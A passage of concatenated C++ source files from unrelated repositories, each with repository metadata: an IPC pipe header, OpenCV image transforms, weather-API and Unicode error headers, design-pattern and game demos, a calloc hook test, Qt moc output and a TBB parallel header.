<< right.output() << "::p(" << nowpos.x << "," << nowpos.y << ")"; return ss.str(); } }; struct Input { Keyboard keyboard; Mouse mouse; Joystick joystick; void clear(){ keyboard.clear(); mouse.clear(); joystick.clear(); } std::string output() const{ std::stringstream ss(""); ss << "**ms" << mouse.output(); return ss.str(); } }; } #endif

bba7327fa47b292b7a2a12379dbea888640a0e70

58790459d953a3e4b6722ed3ee939f82d9de8c3e

/my/PDF插件/sdkDC_v1_win/Adobe/Acrobat DC SDK/Version 1/PluginSupport/PIBrokerSDK/simple-ipc-lib/src/pipe_win.h

4625bef0dc76752fdcc7b3a4966d087839cbd12f

no_license

tisn05/VS

bb84deb993eb18d43d8edaf81afb753afa3d3188

da56d392a518ba21edcb1a367b4b4378d65506f0

refs/heads/master

UTF-8

C++

h

// Copyright (c) 2010 Google Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #ifndef SIMPLE_IPC_PIPE_WIN_H_ #define SIMPLE_IPC_PIPE_WIN_H_ #include "os_includes.h" #include "ipc_constants.h" class PipePair { public: PipePair(bool inherit_fd2 = false); HANDLE fd1() const { return srv_; } HANDLE fd2() const { return cln_; } static HANDLE OpenPipeServer(const wchar_t* name, bool low_integrity = false); static HANDLE OpenPipeClient(const wchar_t* name, bool inherit, bool impersonate); private: HANDLE srv_; HANDLE cln_; }; class PipeWin { public: PipeWin(); ~PipeWin(); bool OpenClient(HANDLE pipe); bool OpenServer(HANDLE pipe, bool connect = false); bool Write(const void* buf, size_t sz); bool Read(void* buf, size_t* sz); bool IsConnected() const { return INVALID_HANDLE_VALUE != pipe_; } private: HANDLE pipe_; }; class PipeTransport : public PipeWin { public: static const size_t kBufferSz = 4096; size_t Send(const void* buf, size_t sz) { return Write(buf, sz) ? ipc::RcOK : ipc::RcErrTransportWrite; } char* Receive(size_t* size); private: IPCCharVector buf_; }; #endif // SIMPLE_IPC_PIPE_WIN_H_

6290623071614e1a5caf46e39ddc6e959b56f6cb

256767f888195384e8a91bff0864d0afc3f7e4e9

/AIS_TrackingAndDetection/tests/moc_euclideanDistance.cpp

8e8d5da02912f8bd3b87c8b1bc3d57a65875d708

no_license

HelenHarman/AIS_Object_Tracking

a71b9c2df78c02180b7bb1ac2561a03a570ef935

3ec7128a739387299ac3e4a648e8c8f30274af97

refs/heads/master

UTF-8

C++

cpp

#include "moc_euclideanDistance.h"

aad85aa770183929d8ccd9df0aacf59df35f147f

465a87bdead9aee133a7b36b0c2e826ece517cbb

/ARStudy(Image processing)/ARStudy/main.cpp

5ebb0f7ee747397046be8ca1b609d9d04b460e5c

no_license

kshy9598/ARStudy

a5b55f3808d1e64cc96ee3e9266e4f4c23c3d611

c55ce51cb595f677eb07549203d0032430a90aef

refs/heads/master

UHC

C++

cpp

#include <iostream> #include <fstream> #include <cmath> #include "opencv2\highgui\highgui.hpp" #include "opencv2\opencv.hpp" #pragma comment(lib, "opencv_world300d.lib") const double PI = 3.14159265; using namespace std; using namespace cv; bool bLBDown = false; // 마우스 버튼 눌렀는지 체크 bool checkDrag; // 드래그가 이루어졌는지 체크 CvRect box; // 드래그로 그린 박스 // 사각형 그리기 void draw_box(IplImage* img, CvRect rect) { cvRectangle(img, cvPoint(rect.x, rect.y), cvPoint(rect.x + rect.width, rect.y + rect.height), cvScalar(0xff, 0x00, 0x00)); } // 마우스 드래그 void on_mouse(int event, int x, int y, int flag, void* params) { IplImage* image = (IplImage*)params; if (event == CV_EVENT_LBUTTONDOWN){ // 왼쪽 버튼 눌렀을 시, 박스 초기화 bLBDown = true; box = cvRect(x, y, 0, 0); } else if (event == CV_EVENT_LBUTTONUP){ // 왼쪽 버튼 눌렀다가 뗐을 때, 박스의 넓이, 높이를 설정한다. bLBDown = false; checkDrag = true; if (box.width < 0) { box.x += box.width; box.width *= -1; } if (box.height < 0) { box.y += box.height; box.height *= -1; } draw_box(image, box); } else if (event == CV_EVENT_MOUSEMOVE && bLBDown){ // 드래그 중에는 박스의 넓이, 높이를 갱신한다. box.width = x - box.x; box.height = y - box.y; } } // 이미지 복사 Mat copyMat(Mat source) { // source의 Mat을 result로 복사하는 작업 // opencv에 이미 구현이 되어있는 작업이다. // source.copyTo(result); Mat result = Mat::zeros(source.size(), source.type()); for (int i = 0; i < source.cols; i++){ for (int j = 0; j < source.rows; j++){ result.at<Vec3b>(j, i) = source.at<Vec3b>(j, i); } } return result; } // 박스내 이미지 복사 Mat copyBoxMat(Mat source) { return source(box); } // y축반전 Mat yReflecting(Mat source) { Mat result = copyMat(source); for (int i = 0; i < box.width; i++){ for (int j = 0; j < box.height; j++){ result.at<Vec3b>((box.y + j), (box.x + i)) = source.at<Vec3b>(box.y + j, (box.width + box.x - 1) - i); } } return result; } // x축반전 Mat xReflecting(Mat source) { Mat result = copyMat(source); for (int i = 0; i < box.width; i++){ for (int j = 0; j < box.height; j++){ result.at<Vec3b>((box.y + j), (box.x + i)) = source.at<Vec3b>((box.height + box.y - 1) - j, (box.x + i)); } } return result; } // 회전 Mat rotating(Mat source, double degree) { Mat result = copyMat(source); int x0 = box.x + (box.width / 2); int y0 = box.y + (box.height / 2); double cosd = cos(degree*PI / 180); double sind = sin(degree*PI / 180); // 원본에 덮어씌우는 부분으로 인해 왼쪽 90도, 오른쪽 90도만 가능 for (int i = 0; i < box.width; i++){ for (int j = 0; j < box.height; j++){ int x1 = (box.x + i); int y1 = (box.y + j); int x = ((cosd * (x1 - x0)) - (sind * (y1 - y0)) + x0); int y = ((sind * (x1 - x0)) - (cosd * (y1 - y0)) + y0); result.at<Vec3b>(y, x) = source.at<Vec3b>((box.y + j), (box.x + i)); } } return result; } // 확대 Mat scaling(Mat source, Mat boxMat, double scale) { Mat result = copyMat(source); Mat scaleBoxMat; // 사각형 안의 Mat의 크기를 scale배 늘린다. int boxWidth = (int)(boxMat.size().width * scale); int boxHeight = (int)(boxMat.size().height * scale); cv::resize(boxMat, scaleBoxMat, Size(boxWidth, boxHeight)); // 붙여넣을 때 시작 위치 정보를 갱신한다. int x = box.x - (box.width / 2); int y = box.y - (box.height / 2); for (int i = 0; i < boxWidth; i++){ for (int j = 0; j < boxHeight; j++){ result.at<Vec3b>((y + j), (x + i)) = scaleBoxMat.at<Vec3b>(j, i); } } return result; } int main() { IplImage copy; IplImage * resultImage; Mat resultMat, xReflectMat, yReflectMat, leftRotateMat, scaleMat, boxMat; // 이미지 불러오기 Mat gMatImage = imread("./picture/pic.jpg", 1); // Mat 이미지를 IplImage 로 복사한다. copy = gMatImage; resultImage = &copy; checkDrag = false; namedWindow("image"); setMouseCallback("image", on_mouse, resultImage); cvShowImage("image", resultImage); //드래그 대기 while (!checkDrag){ waitKey(100); } cvShowImage("image", resultImage); //사각형 추가된 사진 저장 resultMat = cvarrToMat(resultImage); boxMat = copyBoxMat(resultMat); cout << box.x << ' ' << box.y << ' ' << box.width << ' ' << box.height << endl; yReflectMat = yReflecting(resultMat); // y축 반전 xReflectMat = xReflecting(resultMat); // x축 반전 scaleMat = scaling(resultMat, boxMat, 1.5); // 크기 변경 leftRotateMat = rotating(resultMat, -90.0); // 90도 회전 waitKey(2000); imshow("y반전 이미지", yReflectMat); imshow("x반전 이미지", xReflectMat); imshow("왼쪽 90도 회전 이미지", leftRotateMat); imshow("1.5배 확대 이미지", scaleMat); waitKey(0); return 0; }

9902eb5452ca24078c32fd40c10f077849f5b441

948d5663fe68495eb4090350e3bcfae33c3d314d

/include/forecast_io/factories/SynchronicDataPointDetailsSetter.hpp

d9eb866ded44e428527ccc44cf017d1059a870b9

permissive

Crystalix007/DarkSky-CPP

b102f000f85d4413a559d79fa04b421a301bc14a

10497ff292efdc460a67bc5dc44811b3a1459beb

refs/heads/master

UTF-8

C++

hpp

#ifndef SYNCHRONICDATAPOINTDETAILSSETTER_HPP #define SYNCHRONICDATAPOINTDETAILSSETTER_HPP #include "../../common/InstanceReferenceHolder.hpp" // Base class: common::InstanceReferenceHolder #include "../listeners/SynchronicDataPointDetailsListener.hpp" // Base class: forecast_io::listeners::SynchronicDataPointDetailsListener #include "../SynchronicDataPoint.hpp" #include "SingleDataPointDetailsSetter.hpp" namespace forecast_io { namespace factories { class SynchronicDataPointDetailsSetter : public listeners::SynchronicDataPointDetailsListener, public common::InstanceReferenceHolder<SynchronicDataPoint> { public: SynchronicDataPointDetailsSetter(SynchronicDataPoint& instance) noexcept; virtual void notifyApparentTemperature(double temperature); virtual void notifyCloudCover(double cloudCover); virtual void notifyDewPoint(double dewPoint); virtual void notifyHumidity(double humidity); virtual void notifyIcon(const std::string& name); virtual void notifyNearestStormBearing(double bearing); virtual void notifyNearestStormDistance(double distance); virtual void notifyOzone(double ozone); virtual void notifyPrecipitationIntensity(double intensity); virtual void notifyPrecipitationProbability(double probability); virtual void notifyPrecipitationType(const std::string& type); virtual void notifyPressure(double pressure); virtual void notifySummary(const std::string& summary); virtual void notifyTemperature(double temperature); virtual void notifyTime(time_t time); virtual void notifyUVIndex(double uvIndex); virtual void notifyVisibility(double visibility); virtual void notifyWindBearing(double bearing); virtual void notifyWindGust(double gust); virtual void notifyWindSpeed(double speed); private: SingleDataPointDetailsSetter singleDataPointDetailsSetter; }; } // namespace factories } // namespace forecast_io #endif // SYNCHRONICDATAPOINTDETAILSSETTER_HPP

a702a5d40a3a672624e691115d63b4a004c979d0

7aa189c718f8a63c256685a435d027ace3833f6b

/include/ogonek/error.h++

ca7ff1f2bc1d6ac11fcbdaacee61fbdef1c7430d

permissive

rmartinho/ogonek

d5523145108de1255298a17c1c25065beb19b82c

0042f30c6c674effd21d379c53658c88054c58b9

refs/heads/devel

UTF-8

C++

// Ogonek // // Written in 2017 by Martinho Fernandes <ogonek@rmf.io> // // To the extent possible under law, the author(s) have dedicated all copyright and related // and neighboring rights to this software to the public domain worldwide. This software is // distributed without any warranty. // // You should have received a copy of the CC0 Public Domain Dedication along with this software. // If not, see <http://creativecommons.org/publicdomain/zero/1.0/>. /** * Error handling * ============== */ #ifndef OGONEK_ERROR_HPP #define OGONEK_ERROR_HPP #include <ogonek/error_fwd.h++> #include <ogonek/concepts.h++> #include <ogonek/types.h++> #include <ogonek/encoding.h++> #include <range/v3/range_concepts.hpp> #include <range/v3/range_traits.hpp> #include <stdexcept> namespace ogonek { /** * .. class:: unicode_error * * The base class for all Unicode-related errors. */ struct unicode_error : virtual std::exception { char const* what() const noexcept override { return u8"Unicode error"; } }; /** * .. class:: template <EncodingForm Encoding>\ * encode_error : virtual unicode_error * * :thrown: when an error occurs during an encoding operation. */ template <typename Encoding> struct encode_error : virtual unicode_error { CONCEPT_ASSERT(EncodingForm<Encoding>()); char const* what() const noexcept override { return u8"encoding failed "; } }; /** * .. class:: template <EncodingForm Encoding>\ * decode_error : virtual unicode_error * * :thrown: when an error occurs during a decoding operation. */ template <typename Encoding> struct decode_error : virtual unicode_error { CONCEPT_ASSERT(EncodingForm<Encoding>()); char const* what() const noexcept override { return u8"decoding failed"; } }; /** * .. var:: auto assume_valid * * A tag used to request that encoding/decoding functions assume the * input has been validated before. * * .. warning:: * * Using this tag with input that isn't actually valid yields * undefined behavior. */ struct assume_valid_t {} constexpr assume_valid {}; /** * .. var:: auto discard_errors * * An error handler for encoding/decoding functions that simply * discards the portions of the input that have errors. */ struct discard_errors_t { template <typename E> optional<code_point> operator()(E) const { return {}; } } constexpr discard_errors {}; CONCEPT_ASSERT(EncodeErrorHandler<discard_errors_t, archetypes::EncodingForm>()); CONCEPT_ASSERT(DecodeErrorHandler<discard_errors_t, archetypes::EncodingForm>()); /** * .. var:: auto replace_errors * * An error handler for encoding/decoding functions that replaces * portions of the input that have errors with a replacement character. * When decoding, this is |u-fffd|, but when encoding and the target * doesn't support it, some encoding-specific character is used * instead. */ struct replace_errors_t { template <typename Encoding, CONCEPT_REQUIRES_(EncodingForm<Encoding>())> optional<code_point> operator()(encode_error<Encoding>) const { return replacement_character_v<Encoding>; } template <typename Encoding, CONCEPT_REQUIRES_(EncodingForm<Encoding>())> optional<code_point> operator()(decode_error<Encoding>) const { return { U'\uFFFD' }; } } constexpr replace_errors {}; CONCEPT_ASSERT(EncodeErrorHandler<replace_errors_t, archetypes::EncodingForm>()); CONCEPT_ASSERT(DecodeErrorHandler<replace_errors_t, archetypes::EncodingForm>()); /** * .. var:: auto throw_error * * An error handler for encoding/decoding functions that throws when an * error is found in the input. */ struct throw_error_t { template <typename E> optional<code_point> operator()(E e) const { throw e; } } constexpr throw_error {}; CONCEPT_ASSERT(EncodeErrorHandler<throw_error_t, archetypes::EncodingForm>()); CONCEPT_ASSERT(DecodeErrorHandler<throw_error_t, archetypes::EncodingForm>()); } // namespace ogonek #endif // OGONEK_ERROR_HPP

0293e83add680ed3f8e92ecea17c897a91d1270b

1ca3477d99bddb6611f2feb67c8ce0c4569d8a4b

/Memendo.cc

7ac722a8f7b952968a9ec15d38a1c9bbc3afc637

no_license

TaoJun724/DesignPattern

0da37a3a34fba54ba21cb809875b20d9eeba3443

b0c62668cfad5b48b85b413e78ee9334812a74b2

refs/heads/master

UTF-8

C++

cc

#include <stdio.h> #include<string> class Memento { public: Memento(int n, std::string s) { _s = s; _money = n; } void setMoney(int n) { _money = n; } int getMoney() { return _money; } void setState(std::string s) { _s = s; } std::string getState() { return _s; } private: int _money; std::string _s; }; class Worker { public: Worker(std::string name, int money, std::string s) { _name = name; _money = money; _s = s; } void show() { printf("%s现在有钱%d元,生活状态%s！\n", _name.c_str(), _money, _s.c_str()); } void setState(int money, std::string s) { _money = money; _s = s; } Memento* createMemnto() { return new Memento(_money,_s); } void restoreMemnto(Memento* m) { _money = m->getMoney(); _s = m->getState(); } private: std::string _name; int _money; std::string _s; }; class WorkerStorage { public: void setMemento(Memento* m) { _memento = m; } Memento* getMement() { return _memento; } private: Memento* _memento; }; int main() { Worker* zhangsan = new Worker("张三", 10000, "富裕"); zhangsan->show(); //记住张三现在的状态 WorkerStorage* storage = new WorkerStorage; storage->setMemento(zhangsan->createMemnto()); //张三赌博输了钱，只剩下10元 zhangsan->setState(10, "贫困"); zhangsan->show(); //经过努力张三又回到了之前的状态。 zhangsan->restoreMemnto(storage->getMement()); zhangsan->show(); return 0; }

9b67f6e27a369c3b66f7fb8bf435dc44a8750a9f

5dbdb28b66c4828bf83564f1cf63f82480d6395f

/HelloWorld_demo_game/Classes/DemoGame/GameClock.h

0376404ad2fc38c0fa7670b28ad9433a96177a3c

no_license

gengyu-mamba/CardGames

87a2b8fca377a6bd3de0ba4c6fe09a9e85e22848

d2b0133c02cc04b75a49ca164a086aaa5603715d

refs/heads/master

UTF-8

C++

h

#ifndef GAME_CLOCK_H #define GAME_CLOCK_H #include "cocos2d.h" USING_NS_CC; class GameLayer; class GameClock :public CCLayer { public: GameClock(GameLayer *pGameLayer); virtual ~GameClock(); void ShowClock(int iTime,int iTablePos); void ResetClock(); private: virtual void onEnter(); virtual void onExit(); void OnSecondTimer(float dt); CCSprite *m_pSpriteBG; CCLabelAtlas *m_pNumLable; int m_iTime; int m_iTablePos; GameLayer *m_pGameLayer; }; #endif

4ff557683a174bc39aea59e06a19b563d55927d6

cde943952b79d67f4972d180d20b97fc823db548

/preprocesser/preprocesser/self2.hpp

0892b2563bae695f02d2254829e81a6cb84c630e

no_license

yourgracee/preprocesser

e66a0b0c9680442717652185e9ed2dc5172f7771

349453d4092ffe7927b0c1067d3cefc8bf2bdfff

refs/heads/master

UTF-8

C++

hpp

#ifdef LIMIT_2 #include "tuple.hpp" #define START_2 TUPLE(0, LIMIT_2) #define FINISH_2 TUPLE(1, LIMIT_2) #undef DEPTH #define DEPTH 2 # if START_2 <= 0 && FINISH_2 >= 0 # define ITERATION_2 0 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 1 && FINISH_2 >= 1 # define ITERATION_2 1 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 2 && FINISH_2 >= 2 # define ITERATION_2 2 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 3 && FINISH_2 >= 3 # define ITERATION_2 3 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 4 && FINISH_2 >= 4 # define ITERATION_2 4 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 5 && FINISH_2 >= 5 # define ITERATION_2 5 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 6 && FINISH_2 >= 6 # define ITERATION_2 6 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 7 && FINISH_2 >= 7 # define ITERATION_2 7 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 8 && FINISH_2 >= 8 # define ITERATION_2 8 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 9 && FINISH_2 >= 9 # define ITERATION_2 9 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 10 && FINISH_2 >= 10 # define ITERATION_2 10 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 11 && FINISH_2 >= 11 # define ITERATION_2 11 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 12 && FINISH_2 >= 12 # define ITERATION_2 12 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 13 && FINISH_2 >= 13 # define ITERATION_2 13 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 14 && FINISH_2 >= 14 # define ITERATION_2 14 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 15 && FINISH_2 >= 15 # define ITERATION_2 15 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 16 && FINISH_2 >= 16 # define ITERATION_2 16 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 17 && FINISH_2 >= 17 # define ITERATION_2 17 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 18 && FINISH_2 >= 18 # define ITERATION_2 18 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 19 && FINISH_2 >= 19 # define ITERATION_2 19 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 20 && FINISH_2 >= 20 # define ITERATION_2 20 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 21 && FINISH_2 >= 21 # define ITERATION_2 21 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 22 && FINISH_2 >= 22 # define ITERATION_2 22 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 23 && FINISH_2 >= 23 # define ITERATION_2 23 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 24 && FINISH_2 >= 24 # define ITERATION_2 24 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 25 && FINISH_2 >= 25 # define ITERATION_2 25 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 26 && FINISH_2 >= 26 # define ITERATION_2 26 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 27 && FINISH_2 >= 27 # define ITERATION_2 27 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 28 && FINISH_2 >= 28 # define ITERATION_2 28 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 29 && FINISH_2 >= 29 # define ITERATION_2 29 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 30 && FINISH_2 >= 30 # define ITERATION_2 30 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 31 && FINISH_2 >= 31 # define ITERATION_2 31 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 32 && FINISH_2 >= 32 # define ITERATION_2 32 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 33 && FINISH_2 >= 33 # define ITERATION_2 33 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 34 && FINISH_2 >= 34 # define ITERATION_2 34 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 35 && FINISH_2 >= 35 # define ITERATION_2 35 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 36 && FINISH_2 >= 36 # define ITERATION_2 36 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 37 && FINISH_2 >= 37 # define ITERATION_2 37 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 38 && FINISH_2 >= 38 # define ITERATION_2 38 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 39 && FINISH_2 >= 39 # define ITERATION_2 39 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 40 && FINISH_2 >= 40 # define ITERATION_2 40 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 41 && FINISH_2 >= 41 # define ITERATION_2 41 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 42 && FINISH_2 >= 42 # define ITERATION_2 42 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 43 && FINISH_2 >= 43 # define ITERATION_2 43 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 44 && FINISH_2 >= 44 # define ITERATION_2 44 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 45 && FINISH_2 >= 45 # define ITERATION_2 45 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 46 && FINISH_2 >= 46 # define ITERATION_2 46 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 47 && FINISH_2 >= 47 # define ITERATION_2 47 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 48 && FINISH_2 >= 48 # define ITERATION_2 48 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 49 && FINISH_2 >= 49 # define ITERATION_2 49 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 50 && FINISH_2 >= 50 # define ITERATION_2 50 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 51 && FINISH_2 >= 51 # define ITERATION_2 51 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 52 && FINISH_2 >= 52 # define ITERATION_2 52 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 53 && FINISH_2 >= 53 # define ITERATION_2 53 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 54 && FINISH_2 >= 54 # define ITERATION_2 54 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 55 && FINISH_2 >= 55 # define ITERATION_2 55 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 56 && FINISH_2 >= 56 # define ITERATION_2 56 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 57 && FINISH_2 >= 57 # define ITERATION_2 57 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 58 && FINISH_2 >= 58 # define ITERATION_2 58 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 59 && FINISH_2 >= 59 # define ITERATION_2 59 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 60 && FINISH_2 >= 60 # define ITERATION_2 60 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 61 && FINISH_2 >= 61 # define ITERATION_2 61 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 62 && FINISH_2 >= 62 # define ITERATION_2 62 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 63 && FINISH_2 >= 63 # define ITERATION_2 63 # include FILENAME_2 # undef ITERATION_2 # endif # if START_2 <= 64 && FINISH_2 >= 64 # define ITERATION_2 64 # include FILENAME_2 # undef ITERATION_2 # endif #undef DEPTH #define DEPTH 1 #endif

3c1b9a977eb477d5b194c9d62796fdbdb650af98

74b07eb2bc01383744514b70b385571fb90a1a04

/test/test.cpp

c870d6500c7d2c64c80815743dbbe2e47990c430

no_license

yksym/x86_64_hook_without_ld_preload

8ae067c195bf1eb0f23d67a1087ad3f8ebcfab4a

2ed1eaf37f688199f12e3aa34a6f3435b906b932

refs/heads/master

UTF-8

C++

cpp

#include <stdio.h> #include <stdlib.h> #include <hook.h> extern "C" { void* calloc_hook(size_t n, size_t size) { DECL_ORG_FUNC(calloc, org_calloc); puts( __FUNCTION__ ); return org_calloc(n, size); } }; void test(const char* program) { puts(__FILE__ ": 1st"); { HOOK(program, calloc, calloc_hook); void* b = calloc(1, 10); free(b); } puts(__FILE__ ": 2nd"); void* c = calloc(1, 10); free(c); puts(__FILE__ ": 3rd"); { HOOK(program, calloc, calloc_hook); void* b = calloc(1, 10); free(b); } } void test2(const char* program); int main(int argc, char** argv) { test(argv[0]); test2(LIB_NAME); return 0; }

7394745b36ae5104c00825320576a873b5d50654

c5ed2d57496cafa1b10925814b4fc670fb9d84af

/Opensankore/build-Sankore_3.1-Unnamed-Release/build/win32/release/moc/moc_UBExportCFF.cpp

ccd670b2c223a0e089afb0adb057245688ac9bac

no_license

Educabile/Ardesia

5f5175fef5d7a15ea79469901bdd4c068cc8fec7

9b7b0bfe1c89e89c0ef28f93f6b1e0ac8c348230

refs/heads/master

UTF-8

C++

cpp

/**************************************************************************** ** Meta object code from reading C++ file 'UBExportCFF.h' ** ** Created: Fri 4. May 12:28:36 2018 ** by: The Qt Meta Object Compiler version 63 (Qt 4.8.0) ** ** WARNING! All changes made in this file will be lost! *****************************************************************************/ #include "../../../../../Sankore-3.1/src/adaptors/UBExportCFF.h" #if !defined(Q_MOC_OUTPUT_REVISION) #error "The header file 'UBExportCFF.h' doesn't include <QObject>." #elif Q_MOC_OUTPUT_REVISION != 63 #error "This file was generated using the moc from 4.8.0. It" #error "cannot be used with the include files from this version of Qt." #error "(The moc has changed too much.)" #endif QT_BEGIN_MOC_NAMESPACE static const uint qt_meta_data_UBExportCFF[] = { // content: 6, // revision 0, // classname 0, 0, // classinfo 0, 0, // methods 0, 0, // properties 0, 0, // enums/sets 0, 0, // constructors 0, // flags 0, // signalCount 0 // eod }; static const char qt_meta_stringdata_UBExportCFF[] = { "UBExportCFF\0" }; void UBExportCFF::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) { Q_UNUSED(_o); Q_UNUSED(_id); Q_UNUSED(_c); Q_UNUSED(_a); } const QMetaObjectExtraData UBExportCFF::staticMetaObjectExtraData = { 0, qt_static_metacall }; const QMetaObject UBExportCFF::staticMetaObject = { { &UBExportAdaptor::staticMetaObject, qt_meta_stringdata_UBExportCFF, qt_meta_data_UBExportCFF, &staticMetaObjectExtraData } }; #ifdef Q_NO_DATA_RELOCATION const QMetaObject &UBExportCFF::getStaticMetaObject() { return staticMetaObject; } #endif //Q_NO_DATA_RELOCATION const QMetaObject *UBExportCFF::metaObject() const { return QObject::d_ptr->metaObject ? QObject::d_ptr->metaObject : &staticMetaObject; } void *UBExportCFF::qt_metacast(const char *_clname) { if (!_clname) return 0; if (!strcmp(_clname, qt_meta_stringdata_UBExportCFF)) return static_cast<void*>(const_cast< UBExportCFF*>(this)); return UBExportAdaptor::qt_metacast(_clname); } int UBExportCFF::qt_metacall(QMetaObject::Call _c, int _id, void **_a) { _id = UBExportAdaptor::qt_metacall(_c, _id, _a); if (_id < 0) return _id; return _id; } QT_END_MOC_NAMESPACE

bcee12c3aa60f8c1d8f0802c1bfdfe7600a1e3ef

067b197860f7712e3f92564d0f8d88b0cf34f9d7

/ext/hera/wasserstein/include/dnn/parallel/tbb.h

64c59e0ee985223027151daa201d626258eb299b

permissive

tgebhart/dionysus_tensorflow

be8757369beb4997b12246c5c7d3cbdbb2fd84bb

344769bb6d5446c8fd43462b1dfd6a08d35631a8

refs/heads/master

UTF-8

C++

h

#ifndef PARALLEL_H #define PARALLEL_H //#include <iostream> #include <vector> #include <boost/range.hpp> #include <boost/bind.hpp> #include <boost/foreach.hpp> #ifdef TBB #include <tbb/tbb.h> #include <tbb/concurrent_hash_map.h> #include <tbb/scalable_allocator.h> #include <boost/serialization/split_free.hpp> #include <boost/serialization/collections_load_imp.hpp> #include <boost/serialization/collections_save_imp.hpp> namespace dnn { using tbb::mutex; using tbb::task_scheduler_init; using tbb::task_group; using tbb::task; template<class T> struct vector { typedef tbb::concurrent_vector<T> type; }; template<class T> struct atomic { typedef tbb::atomic<T> type; static T compare_and_swap(type& v, T n, T o) { return v.compare_and_swap(n,o); } }; template<class Iterator, class F> void do_foreach(Iterator begin, Iterator end, const F& f) { tbb::parallel_do(begin, end, f); } template<class Range, class F> void for_each_range_(const Range& r, const F& f) { for (typename Range::iterator cur = r.begin(); cur != r.end(); ++cur) f(*cur); } template<class F> void for_each_range(size_t from, size_t to, const F& f) { //static tbb::affinity_partitioner ap; //tbb::parallel_for(c.range(), boost::bind(&for_each_range_<typename Container::range_type, F>, _1, f), ap); tbb::parallel_for(from, to, f); } template<class Container, class F> void for_each_range(const Container& c, const F& f) { //static tbb::affinity_partitioner ap; //tbb::parallel_for(c.range(), boost::bind(&for_each_range_<typename Container::range_type, F>, _1, f), ap); tbb::parallel_for(c.range(), boost::bind(&for_each_range_<typename Container::const_range_type, F>, _1, f)); } template<class Container, class F> void for_each_range(Container& c, const F& f) { //static tbb::affinity_partitioner ap; //tbb::parallel_for(c.range(), boost::bind(&for_each_range_<typename Container::range_type, F>, _1, f), ap); tbb::parallel_for(c.range(), boost::bind(&for_each_range_<typename Container::range_type, F>, _1, f)); } template<class ID, class NodePointer, class IDTraits, class Allocator> struct map_traits { typedef tbb::concurrent_hash_map<ID, NodePointer, IDTraits, Allocator> type; typedef typename type::range_type range; }; struct progress_timer { progress_timer(): start(tbb::tick_count::now()) {} ~progress_timer() { std::cout << (tbb::tick_count::now() - start).seconds() << " s" << std::endl; } tbb::tick_count start; }; } // Serialization for tbb::concurrent_vector<...> namespace boost { namespace serialization { template<class 